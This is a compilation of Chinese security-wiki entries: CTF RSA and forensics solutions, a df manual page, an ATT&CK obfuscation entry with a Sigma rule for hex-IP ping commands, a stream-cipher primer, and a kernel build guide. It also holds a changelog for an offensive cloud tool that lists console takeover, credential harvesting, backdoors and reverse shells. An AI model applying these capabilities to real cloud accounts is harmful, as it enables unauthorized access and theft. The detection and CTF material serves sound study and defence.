10=55 7
11=56 8
12=100 d
13=48 0
14=55 7
15=57 9
16=56 8
17=99 c
18=56 8
19=51 3
=52 4
20=52 4
```
key:a46dc78d0798c844
---
## vmdk取证
直接用 R-Studio 打开vmdk文件,其中一个 txt 的内容 base64解一下就是flag
---
# Crypto
## RSA1
```
XH想要给YF发送一个重要文件,为了不被他人窃取到,XH向YF索要了他的公钥文件信息。
YF将他现在使用的公钥发送给了XH:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC0XAw5rV1kqGzeJ1SDB5pTkgO9
RSBgCPm0l5DtdXUDGIJ3dbVC6TOQUHSNFrJPB6AeaSqagyfQCVSUv2EzO/3PLvox
b7hxazHIA2eMZiM3sHcIV9RTdx9pJorDUSB2fV9cnQUiK2smr8X1dt9RCmygpSCf
Ny0ZUYq3DfP/HuErmQIDAQAB
-----END PUBLIC KEY-----
XH用公钥对这个重要的文件进行了加密,然后将密文文件发送给YF:
UtowVjnLpRLTx2oBQlLKDP5cSfvXsz5RB/zO7nqfT6V3wgyK04JOXppCCY/p55rONh2+AZ7NAm3wvu4UwKwZxnw7qtRDSRL6bGZISyrJnyjEXfZHcOSf5BNcjQkJQYRbfN85Z3Ycg+84ABdF+jP7ekQaYikp2duqCoFBJYQcOWw=
但是XH没想到HZ那居然存有YF一组以前用过的私钥信息{n,e,d}:
{126652791247329858012081502617335427176078480967667235544422134698198761482081791188813953951941166617081546172312960216751960777234759603468040766428093969369837780011477003514642408424390144176644572101310535367720328881391192872513206457534291258525724324556727750428833407076738446023533405981578792872857,11666173,78440145437642026565505218176077635100043568658968467746538509828225145179636090827892006864282536091633117590477854513613339188289472952126032503980856086589942743747087799102224535294351908895347839402204845161252154330813186873353157721693911405483196449338177610947843869107506937519564559825768669662629}
就这样,XH发送的文件泄露了。
XH发送给YF的信息即为key文件信息。
```
```py
# coding=utf-8
import random
import libnum
d = 78440145437642026565505218176077635100043568658968467746538509828225145179636090827892006864282536091633117590477854513613339188289472952126032503980856086589942743747087799102224535294351908895347839402204845161252154330813186873353157721693911405483196449338177610947843869107506937519564559825768669662629
e = 11666173
n = 126652791247329858012081502617335427176078480967667235544422134698198761482081791188813953951941166617081546172312960216751960777234759603468040766428093969369837780011477003514642408424390144176644572101310535367720328881391192872513206457534291258525724324556727750428833407076738446023533405981578792872857
k = e * d - 1
r = k
t = 0
while True:
r = r // 2
t += 1
if r % 2 == 1:
break
success = False
for i in range(1, 101):
g = random.randint(0, n)
y = pow(g, r, n)
if y == 1 or y == n - 1:
continue
for j in range(1, t):
x = pow(y, 2, n)
if x == 1:
success = True
break
elif x == n - 1:
continue
else:
y = x
if success:
break
else:
continue
if success:
p = libnum.gcd(y - 1, n)
q = n // p
print('P: ' + '%s' % p)
print('Q: ' + '%s' % q)
else:
print('Cannot compute P and Q')
```
```py
from Crypto.Util.number import *
import gmpy2
c=0x52da305639cba512d3c76a014252ca0cfe5c49fbd7b33e5107fcceee7a9f4fa577c20c8ad3824e5e9a42098fe9e79ace361dbe019ecd026df0beee14c0ac19c67c3baad4434912fa6c66484b2ac99f28c45df64770e49fe4135c8d090941845b7cdf3967761c83ef38001745fa33fb7a441a622929d9dbaa0a814125841c396c
e=65537
p=9626976998826419276843416143425596889733974434851882744368169052238235836115584054010100532560561818209484869817186516716761718401370275591484387689682663
q=13156029277183223805880847083808239023127130161857296889657452481663176035839817652134147518151213582890894140345326262383715549586968078944271185038023039
d=72222837702293535768001433019745480940909791273992705292676564657233076187624711236528298321435910688825725064493033694255981783829248148386523941024928314873171902399507717591254570081837629624858628871549140866333768191888355910619817655799523654014573134778364308643953515513914429171468097991764936866609
n=p*q
d=gmpy2.invert(e,(q-1)*(p-1))
print(pow(c, d, n))
print(long_to_bytes(pow(c, d, n)))
```
key:12e791ac27df4c99
## RSA2
```py
# -*- coding: utf-8 -*-
from Crypto.Util import number
import random
import gmpy2
from Crypto.Util.number import *
from secret import key
N = 21950613536281390486175757463951027643556662621824579929664918617520636813458994325720569579695736856079459340474316751889021883755540017377473409564797843019125596929359598746535191841338208989879009508321774759757392464348925062704618198548398309908878380041795632951630513476281083426748653263731919122841901104123145297521411331174923397782111024006706017326210374498919922250769088886696170966869394222786903527353128540253585182758832324462426318387914150570168191590734053846371944717431858873198597415498765665035309188308408227521317670668417094970551798085092238594309838065757300622761550073415879726501051
e = 0x10001
m = number.bytes_to_long(key)
with open('key.enc', 'w') as f:
while m:
p = getPrime(8)
padding = random.randint(0, 2**1000) ** 2
message = padding << m**(p-1) % p + m % 2
cipher = pow(message, e, N)
f.write(hex(cipher)+'\n')
m /= 2
```
```py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import gmpy2
N = 21950613536281390486175757463951027643556662621824579929664918617520636813458994325720569579695736856079459340474316751889021883755540017377473409564797843019125596929359598746535191841338208989879009508321774759757392464348925062704618198548398309908878380041795632951630513476281083426748653263731919122841901104123145297521411331174923397782111024006706017326210374498919922250769088886696170966869394222786903527353128540253585182758832324462426318387914150570168191590734053846371944717431858873198597415498765665035309188308408227521317670668417094970551798085092238594309838065757300622761550073415879726501051
e = 0x10001
invert2 = pow(gmpy2.invert(2,N),e,N)
with open('key.enc', 'r') as f:
l = f.read().split("\n")
byte = ""
flag = ""
for c in l:
if len(c) > 2:
c = int(c[2:-1], 16)
if gmpy2.jacobi(c * invert2, N) == -1:
byte = "1" + byte
else:
byte = "0" + byte
if len(byte) == 8:
flag = chr(int(byte, 2)) + flag
byte = ""
flag = chr(int(byte, 2)) + flag
print(flag)
```
key:fe1c083f47ab4664
|
sec-knowleage
|
df
===
显示磁盘的相关信息
## 补充说明
**df命令** 用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
### 语法
```shell
df(选项)(参数)
```
### 选项
```shell
-a或--all:包含全部的文件系统;
--block-size=<区块大小>:以指定的区块大小来显示区块数目;
-h或--human-readable:以可读性较高的方式来显示信息;
-H或--si:与-h参数相同,但在计算时是以1000 Bytes为换算单位而非1024 Bytes;
-i或--inodes:显示inode的信息;
-k或--kilobytes:指定区块大小为1024字节;
-l或--local:仅显示本地端的文件系统;
-m或--megabytes:指定区块大小为1048576字节;
--no-sync:在取得磁盘使用信息前,不要执行sync指令,此为预设值;
-P或--portability:使用POSIX的输出格式;
--sync:在取得磁盘使用信息前,先执行sync指令;
-t<文件系统类型>或--type=<文件系统类型>:仅显示指定文件系统类型的磁盘信息;
-T或--print-type:显示文件系统的类型;
-x<文件系统类型>或--exclude-type=<文件系统类型>:不要显示指定文件系统类型的磁盘信息;
--help:显示帮助;
--version:显示版本信息。
```
### 参数
文件:指定文件系统上的文件。
### 大小格式
显示值以 `--block-size` 和 `DF_BLOCK_SIZE`,`BLOCK_SIZE` 和 `BLOCKSIZE` 环境变量中的第一个可用 `SIZE` 为单位。 否则,单位默认为 `1024` 个字节(如果设置 `POSIXLY_CORRECT`,则为`512`)。
SIZE是一个整数和可选单位(例如:10M是10 * 1024 * 1024)。 单位是K,M,G,T,P,E,Z,Y(1024的幂)或KB,MB,...(1000的幂)。
### 实例
查看系统磁盘设备,默认是KB为单位:
```shell
[root@LinServ-1 ~]# df
文件系统 1K-块 已用 可用 已用% 挂载点
/dev/sda2 146294492 28244432 110498708 21% /
/dev/sda1 1019208 62360 904240 7% /boot
tmpfs 1032204 0 1032204 0% /dev/shm
/dev/sdb1 2884284108 218826068 2518944764 8% /data1
```
使用`-h`选项以KB以上的单位来显示,可读性高:
```shell
[root@LinServ-1 ~]# df -h
文件系统 容量 已用 可用 已用% 挂载点
/dev/sda2 140G 27G 106G 21% /
/dev/sda1 996M 61M 884M 7% /boot
tmpfs 1009M 0 1009M 0% /dev/shm
/dev/sdb1 2.7T 209G 2.4T 8% /data1
```
查看全部文件系统:
```shell
[root@LinServ-1 ~]# df -a
文件系统 1K-块 已用 可用 已用% 挂载点
/dev/sda2 146294492 28244432 110498708 21% /
proc 0 0 0 - /proc
sysfs 0 0 0 - /sys
devpts 0 0 0 - /dev/pts
/dev/sda1 1019208 62360 904240 7% /boot
tmpfs 1032204 0 1032204 0% /dev/shm
/dev/sdb1 2884284108 218826068 2518944764 8% /data1
none 0 0 0 - /proc/sys/fs/binfmt_misc
```
显示 `public` 目录中的可用空间量,如以下输出中所示:
```shell
df public
# Filesystem 1K-blocks Used Available Use% Mounted on
# /dev/loop0 18761008 15246924 2554392 86% /d Avail
```
|
sec-knowleage
|
# T1027-003-win-Ping Hex IP
## 来自ATT&CK的描述
攻击者可能试图通过加密,编码或其他方式混淆可执行文件或文件在系统中或传输中的内容,从而使其难以发现或分析。这是常见的行为,可以跨不同的平台和网络使用,用于逃避追踪。
有效载荷可能被压缩,存档或加密,以避免被检测到。这些有效载荷可以在“初始访问”期间或以后使用,以减轻检测。有时,可能需要用户采取行动才能打开和反混淆/解码文件信息以供用户执行。可能还要求用户输入密码以打开由攻击者提供的受密码保护的压缩/加密文件。攻击者也可以使用压缩或存档脚本,例如Javascript。
还可以对文件的某些部分进行编码以隐藏纯文本字符串,否则它们将有助于防御者发现。有效载荷也可能被拆分为看似良性的单独文件,这些文件仅在重新组合后才会显示恶意功能。
攻击者还可能混淆从有效载荷执行的命令或直接通过命令行界面执行的命令。环境变量,别名,字符和其他平台/语言特定的语义可用于规避基于签名的检测和白名单机制。
## 测试案例
攻击者使用十六进制编码的IP地址进行ping命令探测主机。
## 检测日志
windows 安全日志/sysmon日志
## 测试复现
windows 2012以上操作系统

## 测试留痕

## 检测规则/思路
### sigma规则
```yml
title: Ping Hex IP
description: win7 模拟测试结果
references:
- https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_ping_hex_ip.yml
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
CommandLine:
- '*\ping.exe 0x*'
- '*\ping 0x*'
condition: selection
level: high
```
### 建议
暂无
## 相关TIP
[[T1027-004-win-传输后编译csc.exe(白名单)]]
[[T1027-005-linux-主机上的监测组件删除]]
[[T1027-005-win-SDelete删除文件]]
## 参考推荐
MITRE-ATT&CK-T1027-003
<https://attack.mitre.org/techniques/T1027/003/>
IP地址进制转换
<https://tool.520101.com/wangluo/jinzhizhuanhuan/>
|
sec-knowleage
|
---
title: 更新日志
---
<center><h1>CF 更新日志</h1></center>
## [v0.5.0](https://github.com/teamssix/cf/releases/tag/v0.5.0) 2023.7.1
### 新增功能
* [#227](https://github.com/teamssix/cf/pull/227) 新增阿里云用户数据后门功能
* [#228](https://github.com/teamssix/cf/pull/228) 新增阿里云镜像共享功能
* [#231](https://github.com/teamssix/cf/pull/231) 新增阿里云接管控制台时自动创建 AK 功能
* [#235](https://github.com/teamssix/cf/pull/235) 新增阿里云 RDS 列出详细信息功能
* [#235](https://github.com/teamssix/cf/pull/235) 新增阿里云 RDS 添加账号功能
* [#235](https://github.com/teamssix/cf/pull/235) 新增阿里云 RDS 创建公网访问地址的功能
* [#235](https://github.com/teamssix/cf/pull/235) 新增阿里云 RDS 添加白名单的功能
* [#238](https://github.com/teamssix/cf/pull/238) [#239](https://github.com/teamssix/cf/pull/239) 新增查询 AK 所属云厂商功能
* [#251](https://github.com/teamssix/cf/pull/251) 新增支持 brew 安装
### 功能优化
* [#243](https://github.com/teamssix/cf/pull/243) 优化配置功能,现在能自动识别配置是否处于可用状态
* [#245](https://github.com/teamssix/cf/pull/245) 优化实例公网 IP 展示,不存在时会展示为空
* [#246](https://github.com/teamssix/cf/pull/246) 优化 OSS 下载功能,现在默认会下载所有文件
* [#248](https://github.com/teamssix/cf/pull/248) 优化更新处理逻辑
* [#249](https://github.com/teamssix/cf/pull/249) 优化华为云 OBS 列出功能
### Bug 修复
* [#244](https://github.com/teamssix/cf/pull/244) 修复批量执行命令时,没有安装云助手导致批量执行中断的 Bug
* [#247](https://github.com/teamssix/cf/pull/247) 修复 OSS 下载文件无法自动创建目录的 Bug
## [v0.4.5](https://github.com/teamssix/cf/releases/tag/v0.4.5) 2023.4.29
### 新增功能
* [#221](https://github.com/teamssix/cf/pull/221) 增加华为云控制台接管和权限枚举功能
### 功能优化
* [#220](https://github.com/teamssix/cf/pull/220) 优化错误信息输出
* [#225](https://github.com/teamssix/cf/pull/225) 优化更新功能
### Bug 修复
* [#201](https://github.com/teamssix/cf/pull/201) 修复配置令牌功能的 Bug
* [#203](https://github.com/teamssix/cf/pull/203) [#204](https://github.com/teamssix/cf/pull/204) 修复两处缓存功能的 Bug
* [#208](https://github.com/teamssix/cf/pull/208) 修复更新功能 Bug
* [#224](https://github.com/teamssix/cf/pull/224) 修复腾讯云 cvm 和 lh 无法列全的 Bug
## [v0.4.4](https://github.com/teamssix/cf/releases/tag/v0.4.4) 2022.12.13
### 新增功能
* [#196](https://github.com/teamssix/cf/pull/196) 增加本地访问密钥扫描功能
* [#198](https://github.com/teamssix/cf/pull/198) 增加 huawei obs ls 功能
### 功能优化
* [#197](https://github.com/teamssix/cf/pull/197) 优化错误信息输出
### Bug 修复
* [#193](https://github.com/teamssix/cf/pull/193) 修复一处 aws ec2 ls 处的 Bug
* [#194](https://github.com/teamssix/cf/pull/194) 修复一处配置功能处的 Bug
## [v0.4.3](https://github.com/teamssix/cf/releases/tag/v0.4.3) 2022.12.4
### 新增功能
* [#189](https://github.com/teamssix/cf/pull/189) 在配置访问密钥时,会自动识别并提示导入本地的访问密钥
* [#190](https://github.com/teamssix/cf/pull/190) 增加 aws ec2 实例的列出功能
### 功能优化
* [#186](https://github.com/teamssix/cf/pull/186) 优化输出信息的展示
* [#188](https://github.com/teamssix/cf/pull/188) 优化 config 命令功能
### Bug 修复
* [#187](https://github.com/teamssix/cf/pull/187) 修复一处删除配置时的 Bug
## [v0.4.2](https://github.com/teamssix/cf/releases/tag/v0.4.2) 2022.10.11
### 新增功能
* [#176](https://github.com/teamssix/cf/pull/176) 增加 aws s3 列出功能
* [#177](https://github.com/teamssix/cf/pull/177) 增加阿里云 oss 指定 Bucket 的功能
* [#179](https://github.com/teamssix/cf/pull/179) 增加阿里云 ecs ecs 指定区域的功能
### 功能优化
* [#166](https://github.com/teamssix/cf/pull/166) 优化权限获取功能
* [#169](https://github.com/teamssix/cf/pull/169) 优化程序提示信息
* [#170](https://github.com/teamssix/cf/pull/170) 优化配置 AK 的逻辑
* [#178](https://github.com/teamssix/cf/pull/178) 增强阿里云 ecs 列出功能
### Bug 修复
* [#167](https://github.com/teamssix/cf/pull/167) 修复一处由于历史代码造成的 Bug
* [#175](https://github.com/teamssix/cf/pull/175) 修复一处配置 AK 时的 Bug
## [v0.4.1](https://github.com/teamssix/cf/releases/tag/v0.4.1) 2022.9.20
### 新增功能
* [#161](https://github.com/teamssix/cf/pull/161) 增加对象列表导出功能
* [#162](https://github.com/teamssix/cf/pull/162) 增加指定查询对象列表数量功能
### 功能优化
* [#164](https://github.com/teamssix/cf/pull/164) 优化接管控制台输出信息
## [v0.4.0](https://github.com/teamssix/cf/releases/tag/v0.4.0) 2022.9.7
### 新增功能
* [#143](https://github.com/teamssix/cf/pull/143) 增加对已有的访问凭证修改功能
* [#146](https://github.com/teamssix/cf/pull/146) 增加控制台接管历史记录查看功能
* [#147](https://github.com/teamssix/cf/pull/147) 增加接管控制台指定用户名功能
### 功能优化
* [#137](https://github.com/teamssix/cf/pull/137) 优化阿里云 OSS 相关功能
* [#142](https://github.com/teamssix/cf/pull/142) 全面优化配置访问凭证功能
* [#144](https://github.com/teamssix/cf/pull/144) 全面优化程序缓存功能
## [v0.3.5](https://github.com/teamssix/cf/releases/tag/v0.3.5) 2022.8.16
### 新增功能
* [#133](https://github.com/teamssix/cf/pull/133) 新增腾讯云 AK 权限查看功能
### 功能优化
* [#129](https://github.com/teamssix/cf/pull/129) 优化升级功能,自动识别最优下载线路
* [#135](https://github.com/teamssix/cf/pull/135) 优化腾讯云 CVM 相关功能
### Bug 修复
* [#131](https://github.com/teamssix/cf/pull/131) 修复阿里云下载存储桶对象时的一个 Bug
## [v0.3.4](https://github.com/teamssix/cf/releases/tag/v0.3.4) 2022.8.10
- [#124](https://github.com/teamssix/cf/pull/124) fix: 修复了实例执行命令时的一个 bug
- [#125](https://github.com/teamssix/cf/pull/125) perf: 优化腾讯云接管控制台的提示信息
- [#126](https://github.com/teamssix/cf/pull/126) fix: 修复了实例列出不完整的 bug
- [#127](https://github.com/teamssix/cf/pull/127) perf: 优化程序升级处理代码
## [v0.3.3](https://github.com/teamssix/cf/releases/tag/v0.3.3) 2022.8.3
- [#99](https://github.com/teamssix/cf/pull/99) feat: 新增腾讯云轻量引用服务器的命令执行功能
- [#103](https://github.com/teamssix/cf/pull/103) fix: 修复了当阿里云 oss object 超过 1000 时无法完全展示的 bug
- [#109](https://github.com/teamssix/cf/pull/109) fix: 修复了配置腾讯云 AK 时的一个 bug
## [v0.3.2](https://github.com/teamssix/cf/releases/tag/v0.3.2) 2022.7.29
- [#63](https://github.com/teamssix/cf/pull/63) feat: 增加 key 管理功能
- [#80](https://github.com/teamssix/cf/pull/80) fix: 修复云镜增加 Instances 结构体导致的 CVM 命令执行不能正常执行的问题
- [`adf7d90`](https://github.com/teamssix/cf/commit/adf7d9028bb7f1df68f2f21d32ae3d532f9d72ed) fix: 修复了阿里云 ECS 实例执行命令时的一个 bug
## [v0.3.1](https://github.com/teamssix/cf/releases/tag/v0.3.1) 2022.7.21
- [`afe82e5`](https://github.com/teamssix/cf/commit/afe82e511813f452cab021a5665d1ff084a9ce16) feat: 新增腾讯云安全组操作功能 (tencent cloud security group policy add/del)
- [`06ca14c`](https://github.com/teamssix/cf/commit/06ca14c02fae3d0c5749988ca2be70b755829d94) feat: 新增腾讯云控制台接管功能 (add tencent takeover console function)
- [`5afae3a`](https://github.com/teamssix/cf/commit/5afae3a67f93bfefa4d90f9ba66728637ecdf67b) feat: 新增腾讯云云镜的相关操作 (add tencent functions)
## [v0.3.0](https://github.com/teamssix/cf/releases/tag/v0.3.0) 2022.7.17
- [`cabf3d4`](https://github.com/teamssix/cf/commit/cabf3d432606a8a575825d615f47e12a079d28fe) feat: 支持腾讯云 CVM 的相关功能 (support tencent cloud cvm)
## [v0.2.4](https://github.com/teamssix/cf/releases/tag/v0.2.4) 2022.7.12
- [`b702e63`](https://github.com/teamssix/cf/commit/b702e6363642ef24582118dd14f18128a13108a3) feat: 增加 OSS 下载对象功能权限的检测 (support oss get function for permission detection)
- [`eda092a`](https://github.com/teamssix/cf/commit/eda092ae7636bac734be1a8362d1e8968394daac) fix: 修复了一个在 ECS 实例上执行命令时的 bug (fixed a bug when ecs exec)
- [`75a1b4e`](https://github.com/teamssix/cf/commit/75a1b4e9494145558e6aeedfb15799a2b1097c1c) fix: 修复了一个在获取当前凭证权限时的 bug (fixed a bug in getting permission)
## [v0.2.3](https://github.com/teamssix/cf/releases/tag/v0.2.3) 2022.7.11
- [`71536bc`](https://github.com/teamssix/cf/commit/71536bcc17692cea5cbc68c9ac05b9bfd2e95a99) feat: 增加对象存储中对象的下载功能 (add object download function)
- [`579bcb6`](https://github.com/teamssix/cf/commit/579bcb60a7c8f73ae1b778869e0fe4b4b1df9982) perf: 在列出实例时展示实例的名称 (add the instance name to the output)
- [`7de034f`](https://github.com/teamssix/cf/commit/7de034fabe183fd66babda39981e510214391b0d) fix: 修复了一个更新功能的 bug (fixed a bug in the upgrade)
## [v0.2.2](https://github.com/teamssix/cf/releases/tag/v0.2.2) 2022.7.10
- [`b0ee137`](https://github.com/teamssix/cf/commit/b0ee137755ca3e775669f871c60cac8c4decda23) feat: 增加 OSS 对象列出功能 (add ls objects function)
- [`c0044c9`](https://github.com/teamssix/cf/commit/c0044c930c133cfb92f8649c5dea3c76357215b8) perf: 资源缓存修改为超过 24 小时就自动刷新 (maximum cache validity changed to 24 hours)
- [`2a4691c`](https://github.com/teamssix/cf/commit/2a4691c1851e7f4e0561c1e2e13d690f6395d6f6) perf: 在配置 AK 的时候,如果直接回车则使用原来的 AK (optimize the experience when configuring the access key)
## [v0.2.1](https://github.com/teamssix/cf/releases/tag/v0.2.1) 2022.7.8
- [`eb496bb`](https://github.com/teamssix/cf/commit/eb496bbafb68ff576a06e24cc8ca72eb17919fb3) feat: 增加查看当前凭证权限的功能 (add view permissions function)
## [v0.2.0](https://github.com/teamssix/cf/releases/tag/v0.2.0) 2022.7.5
- [`b4ba960`](https://github.com/teamssix/cf/commit/b4ba960c4f0d056eb728fd774b34547aeaef8fd7) feat: 增加控制台接管功能 (add takeover console function)
- [`1022d49`](https://github.com/teamssix/cf/commit/1022d49f64f01740428dbfc2b06fb4ffa7469bd2) perf: 增加权限不足时的提示,优化使用体验 (add a prompt if no permission)
- [`a20f58e`](https://github.com/teamssix/cf/commit/a20f58e72e214e62aa5a868d11b637741a16e3bb) perf: 美化更新程序时的进度条显示 (optimize the display of update progress bar)
## [v0.1.1](https://github.com/teamssix/cf/releases/tag/v0.1.1) 2022.7.4
- [`c00029d`](https://github.com/teamssix/cf/commit/c00029d964f94c676aaacc166c9f44810ab679a4) perf: 优化了两处程序逻辑处理问题 (optimize program logic processing)
## [v0.1.0](https://github.com/teamssix/cf/releases/tag/v0.1.0) 2022.7.3
- [`826b981`](https://github.com/teamssix/cf/commit/826b9818dfe6f147b4649e1021844426ca9617e2) feat: 增加 RDS 云数据库的列出功能 (add rds ls command)
## [v0.0.5](https://github.com/teamssix/cf/releases/tag/v0.0.5) 2022.7.3
- [`0c46427`](https://github.com/teamssix/cf/commit/0c464272eb74e9b3f78bd9a65215fdadaf160fe4) perf: 增加了在执行命令的时候选择实例的功能,提升使用体验 (add the function of selecting instances)
## [v0.0.4](https://github.com/teamssix/cf/releases/tag/v0.0.4) 2022.7.2
- [`d3db762`](https://github.com/teamssix/cf/commit/d3db762c2e2ef0d76278b920c2c782a1bd3aafda) fix: 修复了一个自动更新的 bug (fix a bug of automatic update failure)
- [`bcadc33`](https://github.com/teamssix/cf/commit/bcadc33d1683a45519bca66706222055a1d2a017) fix: 修复了一个缓存文件的 bug (fixed a bug in the cache file)
- [`00a85cb`](https://github.com/teamssix/cf/commit/00a85cb3f09bce8bf1ec905d711afb4a3591bc78) perf: 增加了操作提示,优化使用体验 (add tips to improve the experience of using)
- [`387b73f`](https://github.com/teamssix/cf/commit/387b73f619d146991b6893a1be9ebb214f13fb34) perf: 优化代码 (optimized a miss)
## [v0.0.3](https://github.com/teamssix/cf/releases/tag/v0.0.3) 2022.7.1
* [`cef7914`](https://github.com/teamssix/cf/commit/cef7914e401f3c1883f68d59070b4edb77ade15f) fix: 修复了一个自动更新的 bug
## [v0.0.2](https://github.com/teamssix/cf/releases/tag/v0.0.2) 2022.7.1
- [`5be633`](https://github.com/teamssix/cf/commit/b5be6332d67a16c1c667e2c183371fa1640c8e16) feat: 增加自动更新功能
- [`44111b6`](https://github.com/teamssix/cf/commit/44111b69a0040230d8df7562fc18729348d35684) perf: 优化、规范代码
## [v0.0.1](https://github.com/teamssix/cf/releases/tag/v0.0.1) 2022.7.1
- 列出对象存储(包括存储桶大小和文件数量信息)
- 列出实例
- 一键获得实例上的临时访问凭证
- 一键为所有实例执行三要素,方便 HVV
- 一键为实例反弹 Shell
- 支持阿里云
- ……
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2023 年 7 月 5 日"
}
}
</script>
|
sec-knowleage
|
# 流密码
流密码一般逐字节或者逐比特处理信息。一般来说
- 流密码的密钥长度会与明文的长度相同。
- 流密码的密钥派生自一个较短的密钥,派生算法通常为一个伪随机数生成算法。
需要注意的是,流加密目前来说都是对称加密。
伪随机数生成算法生成的序列的随机性越强,明文中的统计特征被覆盖的更好。
流密码加解密非常简单,在已知明文的情况下,可以非常容易地获取密钥流。
流密码的关键在于设计好的伪随机数生成器。一般来说,伪随机数生成器的基本构造模块为反馈移位寄存器。当然,也有一些特殊设计的流密码,比如 RC4。
|
sec-knowleage
|
### 下载内核方式
我们可以从 `https://www.kernel.org` 下载想要的内核。根据 https://www.kernel.org/category/releases.html,我们可以知道内核主要有以下几种类别:
- Prepatch
- Mainline
- Stable
- Longterm
这里我们选择长期支持版。
下面为了方便介绍,我们使用 `5.4` 版本,内核开发者会一直支持这个版本到 2025 年 12 月份。进一步地,我们选择 5.4 的最新版本 5.4.98(2021 年 2 月记录)。为了加速,我们可以选择就近的源来下载内核,这里使用清华源:https://mirrors.tuna.tsinghua.edu.cn/kernel/。
```bash
❯ curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.4.98.tar.xz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 104M 100 104M 0 0 35.5M 0 0:00:02 0:00:02 --:--:-- 35.5M
❯ unxz linux-5.4.98.tar.xz
```
### 验证内核签名方式
为了防止内核被恶意修改,在发布内核时,发布者会对内核进行签名。这里我们也对内核的签名进行校验。
```bash
❯ curl -O -L https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.4.98.tar.sign
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 989 100 989 0 0 5525 0 --:--:-- --:--:-- --:--:-- 5525
❯ gpg --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Can't check signature: No public key
```
可以看到,我们遇到了 `Can't check signature: No public key` 的问题。这主要是因为我们没有相应的公钥来验证签名。此时我们可以下载相应内核版本发布者的公钥。
```bash
❯ gpg --locate-keys torvalds@kernel.org gregkh@kernel.org
gpg: WARNING: unacceptable HTTP redirect from server was cleaned up
gpg: key 38DBBDC86092693E: public key "Greg Kroah-Hartman <gregkh@kernel.org>" imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: WARNING: unacceptable HTTP redirect from server was cleaned up
gpg: key 79BE3E4300411886: public key "Linus Torvalds <torvalds@kernel.org>" imported
gpg: Total number processed: 1
gpg: imported: 1
pub rsa4096 2011-09-23 [SC]
647F28654894E3BD457199BE38DBBDC86092693E
uid [ unknown] Greg Kroah-Hartman <gregkh@kernel.org>
sub rsa4096 2011-09-23 [E]
pub rsa2048 2011-09-20 [SC]
ABAF11C65A2970B130ABE3C479BE3E4300411886
uid [ unknown] Linus Torvalds <torvalds@kernel.org>
sub rsa2048 2011-09-20 [E]
```
为了方便,我们也导入了 torvalds 的公钥。下面我们就可以验证内核的签名了
```bash
❯ gpg --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Good signature from "Greg Kroah-Hartman <gregkh@kernel.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E
```
这里报了一个 WARNING。为了消除这个问题,我们可以选择使用 TOFU 信任对应的密钥。
```bash
❯ gpg --tofu-policy good 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Setting TOFU trust policy for new binding <key: 647F28654894E3BD457199BE38DBBDC86092693E, user id: Greg Kroah-Hartman <gregkh@kernel.org>> to good.
❯ gpg --trust-model tofu --verify linux-5.4.98.tar.sign
gpg: assuming signed data in 'linux-5.4.98.tar'
gpg: Signature made 2021年02月13日 星期六 20时54分47秒 CST
gpg: using RSA key 647F28654894E3BD457199BE38DBBDC86092693E
gpg: Good signature from "Greg Kroah-Hartman <gregkh@kernel.org>" [full]
gpg: gregkh@kernel.org: Verified 1 signatures in the past 0 seconds. Encrypted
0 messages.
```
在验证成功后,我们就可以解压缩压缩包得到内核源码。
```shell
tar -xf linux-5.4.98.tar
```
### 编译选项配置
在正式编译之前,我们可以配置内核的编译选项。
make menuconfig
!!! tip
可以通过看看这个 menu 顶部的介绍,了解这个 menu 如何使用。
### 调试相关选项
这里我们主要关注调试方面的选项,依次进入到 Kernel hacking -> Compile-time checks and compiler options,然后勾选如下选项`Compile the kernel with debug info`,以便于调试。不过似乎现在是默认开启的。
如果要使用 kgdb 调试内核,则需要选中 `KGDB: kernel debugger`,并选中 KGDB 下的所有选项。
### 编译内核过程介绍
编译内核镜像,可以根据机器的核数来选择具体使用多少核来编译内核。
```bash
make -j3 bzImage
```
最后,出现如下信息时
```
Setup is 18012 bytes (padded to 18432 bytes).
System is 9189 kB
CRC df09b895
Kernel: arch/x86/boot/bzImage is ready (#1)
```
意味着编译成功。在编译成功后,我们一般主要关注于如下的文件
- bzImage:`arch/x86/boot/bzImage`
- vmlinux:源码所在的根目录下。
此外,这里给出常见内核文件的介绍。
- **bzImage**:目前主流的 kernel 镜像格式,即 big zImage(即 bz 不是指 bzip2),适用于较大的(大于 512 KB) Kernel。这个镜像会被加载到内存的高地址,高于 1MB。bzImage 是用 gzip 压缩的,文件的开头部分有 gzip 解压缩的代码,所以我们不能用 gunzip 来解压缩。
- **zImage**:比较老的 kernel 镜像格式,适用于较小的(不大于512KB) Kernel。启动时,这个镜像会被加载到内存的低地址,即内存的前 640 KB。zImage 也不能用 gunzip 来解压缩。
- **vmlinuz**:vmlinuz 不仅包含了压缩后的 vmlinux,还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言,该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
- **vmlinux**:静态链接的 Linux kernel,以可执行文件的形式存在,尚未经过压缩。该文件往往是在生成 vmlinuz 的过程中产生的。该文件适合于调试。但是该文件不是 bootable 的。
